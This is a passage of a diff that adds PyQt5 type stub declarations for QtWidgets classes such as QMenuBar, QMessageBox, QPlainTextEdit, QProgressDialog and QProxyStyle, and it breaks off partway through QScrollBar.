isTearOffMenuVisible(self) -> bool: ... + def isTearOffEnabled(self) -> bool: ... + def setTearOffEnabled(self, a0: bool) -> None: ... + def clear(self) -> None: ... + def insertSeparator(self, before: QAction) -> QAction: ... + def insertMenu(self, before: QAction, menu: 'QMenu') -> QAction: ... + def addSeparator(self) -> QAction: ... + @typing.overload + def addMenu(self, menu: 'QMenu') -> QAction: ... + @typing.overload + def addMenu(self, title: str) -> 'QMenu': ... + @typing.overload + def addMenu(self, icon: QtGui.QIcon, title: str) -> 'QMenu': ... + @typing.overload + def addAction(self, action: QAction) -> None: ... + @typing.overload + def addAction(self, text: str) -> QAction: ... + @typing.overload + def addAction(self, icon: QtGui.QIcon, text: str) -> QAction: ... + @typing.overload + def addAction(self, text: str, slot: PYQT_SLOT, shortcut: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int] = ...) -> QAction: ... + @typing.overload + def addAction(self, icon: QtGui.QIcon, text: str, slot: PYQT_SLOT, shortcut: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int] = ...) -> QAction: ... + + +class QMenuBar(QWidget): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def setNativeMenuBar(self, nativeMenuBar: bool) -> None: ... + def isNativeMenuBar(self) -> bool: ... + def timerEvent(self, a0: QtCore.QTimerEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def eventFilter(self, a0: QtCore.QObject, a1: QtCore.QEvent) -> bool: ... + def focusInEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def focusOutEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def actionEvent(self, a0: QtGui.QActionEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def leaveEvent(self, a0: QtCore.QEvent) -> None: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def initStyleOption(self, option: 'QStyleOptionMenuItem', action: QAction) -> None: ... + def hovered(self, action: QAction) -> None: ... + def triggered(self, action: QAction) -> None: ... + def setVisible(self, visible: bool) -> None: ... + def cornerWidget(self, corner: QtCore.Qt.Corner = ...) -> QWidget: ... + def setCornerWidget(self, widget: QWidget, corner: QtCore.Qt.Corner = ...) -> None: ... + def actionAt(self, a0: QtCore.QPoint) -> QAction: ... + def actionGeometry(self, a0: QAction) -> QtCore.QRect: ... + def heightForWidth(self, a0: int) -> int: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def isDefaultUp(self) -> bool: ... + def setDefaultUp(self, a0: bool) -> None: ... + def setActiveAction(self, action: QAction) -> None: ... + def activeAction(self) -> QAction: ... + def clear(self) -> None: ... + def insertSeparator(self, before: QAction) -> QAction: ... + def insertMenu(self, before: QAction, menu: QMenu) -> QAction: ... + def addSeparator(self) -> QAction: ... + @typing.overload + def addMenu(self, menu: QMenu) -> QAction: ... + @typing.overload + def addMenu(self, title: str) -> QMenu: ... + @typing.overload + def addMenu(self, icon: QtGui.QIcon, title: str) -> QMenu: ... + @typing.overload + def addAction(self, action: QAction) -> None: ... + @typing.overload + def addAction(self, text: str) -> QAction: ... + @typing.overload + def addAction(self, text: str, slot: PYQT_SLOT) -> QAction: ... + + +class QMessageBox(QDialog): + + class StandardButton(int): + NoButton = ... # type: QMessageBox.StandardButton + Ok = ... # type: QMessageBox.StandardButton + Save = ... # type: QMessageBox.StandardButton + SaveAll = ... # type: QMessageBox.StandardButton + Open = ... # type: QMessageBox.StandardButton + Yes = ... # type: QMessageBox.StandardButton + YesToAll = ... # type: QMessageBox.StandardButton + No = ... # type: QMessageBox.StandardButton + NoToAll = ... # type: QMessageBox.StandardButton + Abort = ... # type: QMessageBox.StandardButton + Retry = ... # type: QMessageBox.StandardButton + Ignore = ... # type: QMessageBox.StandardButton + Close = ... # type: QMessageBox.StandardButton + Cancel = ... # type: QMessageBox.StandardButton + Discard = ... # type: QMessageBox.StandardButton + Help = ... # type: QMessageBox.StandardButton + Apply = ... # type: QMessageBox.StandardButton + Reset = ... # type: QMessageBox.StandardButton + RestoreDefaults = ... # type: QMessageBox.StandardButton + FirstButton = ... # type: QMessageBox.StandardButton + LastButton = ... # type: QMessageBox.StandardButton + YesAll = ... # type: QMessageBox.StandardButton + NoAll = ... # type: QMessageBox.StandardButton + Default = ... # type: QMessageBox.StandardButton + Escape = ... # type: QMessageBox.StandardButton + FlagMask = ... # type: QMessageBox.StandardButton + ButtonMask = ... # type: QMessageBox.StandardButton + + class Icon(int): + NoIcon = ... # type: QMessageBox.Icon + Information = ... # type: QMessageBox.Icon + Warning = ... # type: QMessageBox.Icon + Critical = ... # type: QMessageBox.Icon + Question = ... # type: QMessageBox.Icon + + class ButtonRole(int): + InvalidRole = ... # type: QMessageBox.ButtonRole + AcceptRole = ... # type: QMessageBox.ButtonRole + RejectRole = ... # type: QMessageBox.ButtonRole + DestructiveRole = ... # type: QMessageBox.ButtonRole + ActionRole = ... # type: QMessageBox.ButtonRole + HelpRole = ... # type: QMessageBox.ButtonRole + YesRole = ... # type: QMessageBox.ButtonRole + NoRole = ... # type: QMessageBox.ButtonRole + ResetRole = ... # type: QMessageBox.ButtonRole + ApplyRole = ... # type: QMessageBox.ButtonRole + + class StandardButtons(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QMessageBox.StandardButtons', 'QMessageBox.StandardButton']) -> None: ... + @typing.overload + def __init__(self, a0: 'QMessageBox.StandardButtons') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QMessageBox.StandardButtons': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, icon: 'QMessageBox.Icon', title: str, text: str, buttons: typing.Union['QMessageBox.StandardButtons', 'QMessageBox.StandardButton'] = ..., parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def checkBox(self) -> QCheckBox: ... + def setCheckBox(self, cb: QCheckBox) -> None: ... + def textInteractionFlags(self) -> QtCore.Qt.TextInteractionFlags: ... + def setTextInteractionFlags(self, flags: typing.Union[QtCore.Qt.TextInteractionFlags, QtCore.Qt.TextInteractionFlag]) -> None: ... + def buttonClicked(self, button: QAbstractButton) -> None: ... + def buttonRole(self, button: QAbstractButton) -> 'QMessageBox.ButtonRole': ... + def buttons(self) -> typing.List[QAbstractButton]: ... + @typing.overload + def open(self) -> None: ... + @typing.overload + def open(self, slot: PYQT_SLOT) -> None: ... + def setWindowModality(self, windowModality: QtCore.Qt.WindowModality) -> None: ... + def setWindowTitle(self, title: str) -> None: ... + def setDetailedText(self, text: str) -> None: ... + def detailedText(self) -> str: ... + def setInformativeText(self, text: str) -> None: ... + def informativeText(self) -> str: ... + def clickedButton(self) -> QAbstractButton: ... + @typing.overload + def setEscapeButton(self, button: QAbstractButton) -> None: ... + @typing.overload + def setEscapeButton(self, button: 'QMessageBox.StandardButton') -> None: ... + def escapeButton(self) -> QAbstractButton: ... + @typing.overload + def setDefaultButton(self, button: QPushButton) -> None: ... + @typing.overload + def setDefaultButton(self, button: 'QMessageBox.StandardButton') -> None: ... + def defaultButton(self) -> QPushButton: ... + def button(self, which: 'QMessageBox.StandardButton') -> QAbstractButton: ... + def standardButton(self, button: QAbstractButton) -> 'QMessageBox.StandardButton': ... + def standardButtons(self) -> 'QMessageBox.StandardButtons': ... + def setStandardButtons(self, buttons: typing.Union['QMessageBox.StandardButtons', 'QMessageBox.StandardButton']) -> None: ... + def removeButton(self, button: QAbstractButton) -> None: ... + @typing.overload + def addButton(self, button: QAbstractButton, role: 'QMessageBox.ButtonRole') -> None: ... + @typing.overload + def addButton(self, text: str, role: 'QMessageBox.ButtonRole') -> QPushButton: ... + @typing.overload + def addButton(self, button: 'QMessageBox.StandardButton') -> QPushButton: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def closeEvent(self, a0: QtGui.QCloseEvent) -> None: ... + def showEvent(self, a0: QtGui.QShowEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + @staticmethod + def standardIcon(icon: 'QMessageBox.Icon') -> QtGui.QPixmap: ... + @staticmethod + def aboutQt(parent: QWidget, title: str = ...) -> None: ... + @staticmethod + def about(parent: QWidget, caption: str, text: str) -> None: ... + @staticmethod + def critical(parent: QWidget, title: str, text: str, buttons: typing.Union['QMessageBox.StandardButtons', 'QMessageBox.StandardButton'] = ..., defaultButton: 'QMessageBox.StandardButton' = ...) -> 'QMessageBox.StandardButton': ... + @staticmethod + def warning(parent: QWidget, title: str, text: str, buttons: typing.Union['QMessageBox.StandardButtons', 'QMessageBox.StandardButton'] = ..., defaultButton: 'QMessageBox.StandardButton' = ...) -> 'QMessageBox.StandardButton': ... + @staticmethod + def question(parent: QWidget, title: str, text: str, buttons: typing.Union['QMessageBox.StandardButtons', 'QMessageBox.StandardButton'] = ..., defaultButton: 'QMessageBox.StandardButton' = ...) -> 'QMessageBox.StandardButton': ... + @staticmethod + def information(parent: QWidget, title: str, text: str, buttons: typing.Union['QMessageBox.StandardButtons', 'QMessageBox.StandardButton'] = ..., defaultButton: 'QMessageBox.StandardButton' = ...) -> 'QMessageBox.StandardButton': ... + def setTextFormat(self, a0: QtCore.Qt.TextFormat) -> None: ... + def textFormat(self) -> QtCore.Qt.TextFormat: ... + def setIconPixmap(self, a0: QtGui.QPixmap) -> None: ... + def iconPixmap(self) -> QtGui.QPixmap: ... + def setIcon(self, a0: 'QMessageBox.Icon') -> None: ... + def icon(self) -> 'QMessageBox.Icon': ... + def setText(self, a0: str) -> None: ... + def text(self) -> str: ... + + +class QMouseEventTransition(QtCore.QEventTransition): + + @typing.overload + def __init__(self, sourceState: typing.Optional[QtCore.QState] = ...) -> None: ... + @typing.overload + def __init__(self, object: QtCore.QObject, type: QtCore.QEvent.Type, button: QtCore.Qt.MouseButton, sourceState: typing.Optional[QtCore.QState] = ...) -> None: ... + + def eventTest(self, event: QtCore.QEvent) -> bool: ... + def onTransition(self, event: QtCore.QEvent) -> None: ... + def setHitTestPath(self, path: QtGui.QPainterPath) -> None: ... + def hitTestPath(self) -> QtGui.QPainterPath: ... + def setModifierMask(self, modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> None: ... + def modifierMask(self) -> QtCore.Qt.KeyboardModifiers: ... + def setButton(self, button: QtCore.Qt.MouseButton) -> None: ... + def button(self) -> QtCore.Qt.MouseButton: ... + + +class QOpenGLWidget(QWidget): + + class UpdateBehavior(int): + NoPartialUpdate = ... # type: QOpenGLWidget.UpdateBehavior + PartialUpdate = ... # type: QOpenGLWidget.UpdateBehavior + + def __init__(self, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def setTextureFormat(self, texFormat: int) -> None: ... + def textureFormat(self) -> int: ... + def updateBehavior(self) -> 'QOpenGLWidget.UpdateBehavior': ... + def setUpdateBehavior(self, updateBehavior: 'QOpenGLWidget.UpdateBehavior') -> None: ... + def paintEngine(self) -> QtGui.QPaintEngine: ... + def metric(self, metric: QtGui.QPaintDevice.PaintDeviceMetric) -> int: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def resizeEvent(self, e: QtGui.QResizeEvent) -> None: ... + def paintEvent(self, e: QtGui.QPaintEvent) -> None: ... + def paintGL(self) -> None: ... + def resizeGL(self, w: int, h: int) -> None: ... + def initializeGL(self) -> None: ... + def resized(self) -> None: ... + def aboutToResize(self) -> None: ... + def frameSwapped(self) -> None: ... + def aboutToCompose(self) -> None: ... + def grabFramebuffer(self) -> QtGui.QImage: ... + def defaultFramebufferObject(self) -> int: ... + def context(self) -> QtGui.QOpenGLContext: ... + def doneCurrent(self) -> None: ... + def makeCurrent(self) -> None: ... + def isValid(self) -> bool: ... + def format(self) -> QtGui.QSurfaceFormat: ... + def setFormat(self, format: QtGui.QSurfaceFormat) -> None: ... + + +class QPlainTextEdit(QAbstractScrollArea): + + class LineWrapMode(int): + NoWrap = ... # type: QPlainTextEdit.LineWrapMode + WidgetWidth = ... # type: QPlainTextEdit.LineWrapMode + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional[QWidget] = ...) -> None: ... + + def setTabStopDistance(self, distance: float) -> None: ... + def tabStopDistance(self) -> float: ... + def placeholderText(self) -> str: ... + def setPlaceholderText(self, placeholderText: str) -> None: ... + def zoomOut(self, range: int = ...) -> None: ... + def zoomIn(self, range: int = ...) -> None: ... + def anchorAt(self, pos: QtCore.QPoint) -> str: ... + def getPaintContext(self) -> QtGui.QAbstractTextDocumentLayout.PaintContext: ... + def blockBoundingGeometry(self, block: QtGui.QTextBlock) -> QtCore.QRectF: ... + def blockBoundingRect(self, block: QtGui.QTextBlock) -> QtCore.QRectF: ... + def contentOffset(self) -> QtCore.QPointF: ... + def firstVisibleBlock(self) -> QtGui.QTextBlock: ... + def scrollContentsBy(self, dx: int, dy: int) -> None: ... + def insertFromMimeData(self, source: QtCore.QMimeData) -> None: ... + def canInsertFromMimeData(self, source: QtCore.QMimeData) -> bool: ... + def createMimeDataFromSelection(self) -> QtCore.QMimeData: ... + @typing.overload + def inputMethodQuery(self, property: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + @typing.overload + def inputMethodQuery(self, query: QtCore.Qt.InputMethodQuery, argument: typing.Any) -> typing.Any: ... + def inputMethodEvent(self, a0: QtGui.QInputMethodEvent) -> None: ... + def wheelEvent(self, e: QtGui.QWheelEvent) -> None: ... + def changeEvent(self, e: QtCore.QEvent) -> None: ... + def showEvent(self, a0: QtGui.QShowEvent) -> None: ... + def focusOutEvent(self, e: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, e: QtGui.QFocusEvent) -> None: ... + def dropEvent(self, e: QtGui.QDropEvent) -> None: ... + def dragMoveEvent(self, e: QtGui.QDragMoveEvent) -> None: ... + def dragLeaveEvent(self, e: QtGui.QDragLeaveEvent) -> None: ... + def dragEnterEvent(self, e: QtGui.QDragEnterEvent) -> None: ... + def contextMenuEvent(self, e: QtGui.QContextMenuEvent) -> None: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def mouseDoubleClickEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, e: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, e: QtGui.QPaintEvent) -> None: ... + def resizeEvent(self, e: QtGui.QResizeEvent) -> None: ... + def keyReleaseEvent(self, e: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, e: QtGui.QKeyEvent) -> None: ... + def timerEvent(self, e: QtCore.QTimerEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def modificationChanged(self, a0: bool) -> None: ... + def blockCountChanged(self, newBlockCount: int) -> None: ... + def updateRequest(self, rect: QtCore.QRect, dy: int) -> None: ... + def cursorPositionChanged(self) -> None: ... + def selectionChanged(self) -> None: ... + def copyAvailable(self, b: bool) -> None: ... + def redoAvailable(self, b: bool) -> None: ... + def undoAvailable(self, b: bool) -> None: ... + def textChanged(self) -> None: ... + def centerCursor(self) -> None: ... + def appendHtml(self, html: str) -> None: ... + def appendPlainText(self, text: str) -> None: ... + def insertPlainText(self, text: str) -> None: ... + def selectAll(self) -> None: ... + def clear(self) -> None: ... + def redo(self) -> None: ... + def undo(self) -> None: ... + def paste(self) -> None: ... + def copy(self) -> None: ... + def cut(self) -> None: ... + def setPlainText(self, text: str) -> None: ... + def blockCount(self) -> int: ... + def print(self, printer: QtGui.QPagedPaintDevice) -> None: ... + def print_(self, printer: QtGui.QPagedPaintDevice) -> None: ... + def canPaste(self) -> bool: ... + def moveCursor(self, operation: QtGui.QTextCursor.MoveOperation, mode: QtGui.QTextCursor.MoveMode = ...) -> None: ... + def extraSelections(self) -> typing.List['QTextEdit.ExtraSelection']: ... + def setExtraSelections(self, selections: typing.Iterable['QTextEdit.ExtraSelection']) -> None: ... + def setCursorWidth(self, width: int) -> None: ... + def cursorWidth(self) -> int: ... + def setTabStopWidth(self, width: int) -> None: ... + def tabStopWidth(self) -> int: ... + def setOverwriteMode(self, overwrite: bool) -> None: ... + def overwriteMode(self) -> bool: ... + @typing.overload + def cursorRect(self, cursor: QtGui.QTextCursor) -> QtCore.QRect: ... + @typing.overload + def cursorRect(self) -> QtCore.QRect: ... + def cursorForPosition(self, pos: QtCore.QPoint) -> QtGui.QTextCursor: ... + @typing.overload + def createStandardContextMenu(self) -> QMenu: ... + @typing.overload + def createStandardContextMenu(self, position: QtCore.QPoint) -> QMenu: ... + def loadResource(self, type: int, name: QtCore.QUrl) -> typing.Any: ... + def ensureCursorVisible(self) -> None: ... + def toPlainText(self) -> str: ... + @typing.overload + def find(self, exp: str, options: typing.Union[QtGui.QTextDocument.FindFlags, QtGui.QTextDocument.FindFlag] = ...) -> bool: ... + @typing.overload + def find(self, exp: QtCore.QRegExp, options: typing.Union[QtGui.QTextDocument.FindFlags, QtGui.QTextDocument.FindFlag] = ...) -> bool: ... + @typing.overload + def find(self, exp: QtCore.QRegularExpression, options: typing.Union[QtGui.QTextDocument.FindFlags, QtGui.QTextDocument.FindFlag] = ...) -> bool: ... + def centerOnScroll(self) -> bool: ... + def setCenterOnScroll(self, enabled: bool) -> None: ... + def backgroundVisible(self) -> bool: ... + def setBackgroundVisible(self, visible: bool) -> None: ... + def setWordWrapMode(self, policy: QtGui.QTextOption.WrapMode) -> None: ... + def wordWrapMode(self) -> QtGui.QTextOption.WrapMode: ... + def setLineWrapMode(self, mode: 'QPlainTextEdit.LineWrapMode') -> None: ... + def lineWrapMode(self) -> 'QPlainTextEdit.LineWrapMode': ... + def maximumBlockCount(self) -> int: ... + def setMaximumBlockCount(self, maximum: int) -> None: ... + def setUndoRedoEnabled(self, enable: bool) -> None: ... + def isUndoRedoEnabled(self) -> bool: ... + def documentTitle(self) -> str: ... + def setDocumentTitle(self, title: str) -> None: ... + def setTabChangesFocus(self, b: bool) -> None: ... + def tabChangesFocus(self) -> bool: ... + def currentCharFormat(self) -> QtGui.QTextCharFormat: ... + def setCurrentCharFormat(self, format: QtGui.QTextCharFormat) -> None: ... + def mergeCurrentCharFormat(self, modifier: QtGui.QTextCharFormat) -> None: ... + def textInteractionFlags(self) -> QtCore.Qt.TextInteractionFlags: ... + def setTextInteractionFlags(self, flags: typing.Union[QtCore.Qt.TextInteractionFlags, QtCore.Qt.TextInteractionFlag]) -> None: ... + def setReadOnly(self, ro: bool) -> None: ... + def isReadOnly(self) -> bool: ... + def textCursor(self) -> QtGui.QTextCursor: ... + def setTextCursor(self, cursor: QtGui.QTextCursor) -> None: ... + def document(self) -> QtGui.QTextDocument: ... + def setDocument(self, document: QtGui.QTextDocument) -> None: ... + + +class QPlainTextDocumentLayout(QtGui.QAbstractTextDocumentLayout): + + def __init__(self, document: QtGui.QTextDocument) -> None: ... + + def documentChanged(self, from_: int, a1: int, charsAdded: int) -> None: ... + def requestUpdate(self) -> None: ... + def cursorWidth(self) -> int: ... + def setCursorWidth(self, width: int) -> None: ... + def ensureBlockLayout(self, block: QtGui.QTextBlock) -> None: ... + def blockBoundingRect(self, block: QtGui.QTextBlock) -> QtCore.QRectF: ... + def frameBoundingRect(self, a0: QtGui.QTextFrame) -> QtCore.QRectF: ... + def documentSize(self) -> QtCore.QSizeF: ... + def pageCount(self) -> int: ... + def hitTest(self, a0: typing.Union[QtCore.QPointF, QtCore.QPoint], a1: QtCore.Qt.HitTestAccuracy) -> int: ... + def draw(self, a0: QtGui.QPainter, a1: QtGui.QAbstractTextDocumentLayout.PaintContext) -> None: ... + + +class QProgressBar(QWidget): + + class Direction(int): + TopToBottom = ... # type: QProgressBar.Direction + BottomToTop = ... # type: QProgressBar.Direction + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def initStyleOption(self, option: 'QStyleOptionProgressBar') -> None: ... + def valueChanged(self, value: int) -> None: ... + def setOrientation(self, a0: QtCore.Qt.Orientation) -> None: ... + def setValue(self, value: int) -> None: ... + def setMaximum(self, maximum: int) -> None: ... + def setMinimum(self, minimum: int) -> None: ... + def reset(self) -> None: ... + def resetFormat(self) -> None: ... + def format(self) -> str: ... + def setFormat(self, format: str) -> None: ... + def setTextDirection(self, textDirection: 'QProgressBar.Direction') -> None: ... + def setInvertedAppearance(self, invert: bool) -> None: ... + def orientation(self) -> QtCore.Qt.Orientation: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def setAlignment(self, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + def isTextVisible(self) -> bool: ... + def setTextVisible(self, visible: bool) -> None: ... + def text(self) -> str: ... + def value(self) -> int: ... + def setRange(self, minimum: int, maximum: int) -> None: ... + def maximum(self) -> int: ... + def minimum(self) -> int: ... + + +class QProgressDialog(QDialog): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + @typing.overload + def __init__(self, labelText: str, cancelButtonText: str, minimum: int, maximum: int, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + @typing.overload + def open(self) -> None: ... + @typing.overload + def open(self, slot: PYQT_SLOT) -> None: ... + def forceShow(self) -> None: ... + def showEvent(self, e: QtGui.QShowEvent) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def closeEvent(self, a0: QtGui.QCloseEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def canceled(self) -> None: ... + def setMinimumDuration(self, ms: int) -> None: ... + def setCancelButtonText(self, a0: str) -> None: ... + def setLabelText(self, a0: str) -> None: ... + def setValue(self, progress: int) -> None: ... + def setMinimum(self, minimum: int) -> None: ... + def setMaximum(self, maximum: int) -> None: ... + def reset(self) -> None: ... + def cancel(self) -> None: ... + def autoClose(self) -> bool: ... + def setAutoClose(self, b: bool) -> None: ... + def autoReset(self) -> bool: ... + def setAutoReset(self, b: bool) -> None: ... + def minimumDuration(self) -> int: ... + def labelText(self) -> str: ... + def sizeHint(self) -> QtCore.QSize: ... + def value(self) -> int: ... + def setRange(self, minimum: int, maximum: int) -> None: ... + def maximum(self) -> int: ... + def minimum(self) -> int: ... + def wasCanceled(self) -> bool: ... + def setBar(self, bar: QProgressBar) -> None: ... + def setCancelButton(self, button: QPushButton) -> None: ... + def setLabel(self, label: QLabel) -> None: ... + + +class QProxyStyle(QCommonStyle): + + @typing.overload + def __init__(self, style: typing.Optional[QStyle] = ...) -> None: ... + @typing.overload + def __init__(self, key: str) -> None: ... + + def event(self, e: QtCore.QEvent) -> bool: ... + @typing.overload + def unpolish(self, widget: QWidget) -> None: ... + @typing.overload + def unpolish(self, app: QApplication) -> None: ... + @typing.overload + def polish(self, widget: QWidget) -> None: ... + @typing.overload + def polish(self, pal: QtGui.QPalette) -> QtGui.QPalette: ... + @typing.overload + def polish(self, app: QApplication) -> None: ... + def standardPalette(self) -> QtGui.QPalette: ... + def generatedIconPixmap(self, iconMode: QtGui.QIcon.Mode, pixmap: QtGui.QPixmap, opt: 'QStyleOption') -> QtGui.QPixmap: ... + def standardPixmap(self, standardPixmap: QStyle.StandardPixmap, opt: 'QStyleOption', widget: typing.Optional[QWidget] = ...) -> QtGui.QPixmap: ... + def standardIcon(self, standardIcon: QStyle.StandardPixmap, option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> QtGui.QIcon: ... + def layoutSpacing(self, control1: 'QSizePolicy.ControlType', control2: 'QSizePolicy.ControlType', orientation: QtCore.Qt.Orientation, option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> int: ... + def pixelMetric(self, metric: QStyle.PixelMetric, option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> int: ... + def styleHint(self, hint: QStyle.StyleHint, option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ..., returnData: typing.Optional['QStyleHintReturn'] = ...) -> int: ... + def hitTestComplexControl(self, control: QStyle.ComplexControl, option: 'QStyleOptionComplex', pos: QtCore.QPoint, widget: typing.Optional[QWidget] = ...) -> QStyle.SubControl: ... + def itemPixmapRect(self, r: QtCore.QRect, flags: int, pixmap: QtGui.QPixmap) -> QtCore.QRect: ... + def itemTextRect(self, fm: QtGui.QFontMetrics, r: QtCore.QRect, flags: int, enabled: bool, text: str) -> QtCore.QRect: ... + def subControlRect(self, cc: QStyle.ComplexControl, opt: 'QStyleOptionComplex', sc: QStyle.SubControl, widget: QWidget) -> QtCore.QRect: ... + def subElementRect(self, element: QStyle.SubElement, option: 'QStyleOption', widget: QWidget) -> QtCore.QRect: ... + def sizeFromContents(self, type: QStyle.ContentsType, option: 'QStyleOption', size: QtCore.QSize, widget: QWidget) -> QtCore.QSize: ... + def drawItemPixmap(self, painter: QtGui.QPainter, rect: QtCore.QRect, alignment: int, pixmap: QtGui.QPixmap) -> None: ... + def drawItemText(self, painter: QtGui.QPainter, rect: QtCore.QRect, flags: int, pal: QtGui.QPalette, enabled: bool, text: str, textRole: QtGui.QPalette.ColorRole = ...) -> None: ... + def drawComplexControl(self, control: QStyle.ComplexControl, option: 'QStyleOptionComplex', painter: QtGui.QPainter, widget: typing.Optional[QWidget] = ...) -> None: ... + def drawControl(self, element: QStyle.ControlElement, option: 'QStyleOption', painter: QtGui.QPainter, widget: typing.Optional[QWidget] = ...) -> None: ... + def drawPrimitive(self, element: QStyle.PrimitiveElement, option: 'QStyleOption', painter: QtGui.QPainter, widget: typing.Optional[QWidget] = ...) -> None: ... + def setBaseStyle(self, style: QStyle) -> None: ... + def baseStyle(self) -> QStyle: ... + + +class QRadioButton(QAbstractButton): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional[QWidget] = ...) -> None: ... + + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def hitButton(self, a0: QtCore.QPoint) -> bool: ... + def initStyleOption(self, button: 'QStyleOptionButton') -> None: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QRubberBand(QWidget): + + class Shape(int): + Line = ... # type: QRubberBand.Shape + Rectangle = ... # type: QRubberBand.Shape + + def __init__(self, a0: 'QRubberBand.Shape', parent: typing.Optional[QWidget] = ...) -> None: ... + + def moveEvent(self, a0: QtGui.QMoveEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def showEvent(self, a0: QtGui.QShowEvent) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def initStyleOption(self, option: 'QStyleOptionRubberBand') -> None: ... + @typing.overload + def resize(self, w: int, h: int) -> None: ... + @typing.overload + def resize(self, s: QtCore.QSize) -> None: ... + @typing.overload + def move(self, p: QtCore.QPoint) -> None: ... + @typing.overload + def move(self, ax: int, ay: int) -> None: ... + @typing.overload + def setGeometry(self, r: QtCore.QRect) -> None: ... + @typing.overload + def setGeometry(self, ax: int, ay: int, aw: int, ah: int) -> None: ... + def shape(self) -> 'QRubberBand.Shape': ... + + +class QScrollArea(QAbstractScrollArea): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def viewportSizeHint(self) -> QtCore.QSize: ... + def scrollContentsBy(self, dx: int, dy: int) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def eventFilter(self, a0: QtCore.QObject, a1: QtCore.QEvent) -> bool: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def ensureWidgetVisible(self, childWidget: QWidget, xMargin: int = ..., yMargin: int = ...) -> None: ... + def ensureVisible(self, x: int, y: int, xMargin: int = ..., yMargin: int = ...) -> None: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def sizeHint(self) -> QtCore.QSize: ... + def setAlignment(self, a0: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + def setWidgetResizable(self, resizable: bool) -> None: ... + def widgetResizable(self) -> bool: ... + def takeWidget(self) -> QWidget: ... + def setWidget(self, w: QWidget) -> None: ... + def widget(self) -> QWidget: ... + + +class QScrollBar(QAbstractSlider): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + 